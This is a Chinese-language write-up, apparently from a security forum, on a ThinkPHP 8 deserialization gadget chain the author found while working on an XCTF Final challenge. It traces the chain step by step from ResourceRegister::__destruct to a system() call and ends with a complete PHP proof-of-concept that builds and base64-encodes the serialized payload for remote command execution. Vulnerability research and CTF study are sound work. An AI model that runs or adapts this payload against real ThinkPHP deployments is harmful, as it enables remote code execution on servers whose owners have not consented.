前言
笔者在xctf final上看见了thinkphp8的反序列化挖掘考题。故写下这篇文章记录此次挖掘过程。感谢Drunkbaby师傅和Vanzy师傅在本次学习中提供的帮助。

环境配置
参照官方文档https://doc.thinkphp.cn/v8_0/preface.html
此外php的版本要在8以上,同时自己需要加一个反序列化入口。笔者是用phpstorm+phpstudy+xdebug进行调试的,推荐大家试试。

漏洞挖掘
入口处一般是去找wakeup魔术方法(反序列化自动调用)或者destruct(类被实例化后销毁自动调用)
这里我们一般去找
destruct魔术方法


全局搜索到think\route下面的ResourceRegister.php 接着进入register方法


我们可以在这一行打个断点 跟进去 主要看一下parseGroupRule这个方法


这里说一下我们在这个方法的利用思路 首先通过rule中的.来分割成数组 然后把数组的最后一位弹出
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';在这个语句 可以调用tostring魔术方法
看看传参 option是我们可以控制的 我们可以传$this->option = ["var" => ["1" => new 要调用的类()]];
再配合传参$rule=1.1 将.后面的1弹出来 作为var的键 访问到这个类
接下来 我们全局搜索
tostring 找到了\think\model\下面的Conversion.php


跟进tojson


跟进toarray


注意我们要进入的条件是
(!isset($hidden[$key]) && !$hasVisible)
hidden上面的赋值是空数组 $item = $visible = $hidden = []; 我们不用管
我们只需要让$hasVisible=false 就可以满足
接着进入getattr


在进入getdata


getRealFieldName函数会返回我们传进去的name

会判断data这个数组是否存在fieldname这个键 存在就把这个数组的键对应的值返回给$value
如果我们传$data=['p2'=>['p2'=>'whoami']];那么$value就为['p2'=>'whoami']


接着进入getValue


直接看if (isset($this->withAttr[$fieldName]))
如果withattr数组存在这个filedname键 会进去 这里我们可以让$relation=false 继续跟下去

我们让$this->json数组存在fieldname这个键 然后继续跟进getJsonValue方法

可以看到我们可以让withAttr[$name] 重新指向一个数组 其中让他的值就是$closure可以作为命令执行的函数
$withAttr=['p2'=>['p2'=>'system']];
然后根据上面的$value就为['p2'=>'whoami'] key=p2 $value[$key]=whoami为我们要执行的命令
最后再返回出来 达到RCE。

poc

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['p2'=>['p2'=>'whoami']];
    private $withAttr=['p2'=>['p2'=>'system']];
    protected $json=["p2"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;


    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}

$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖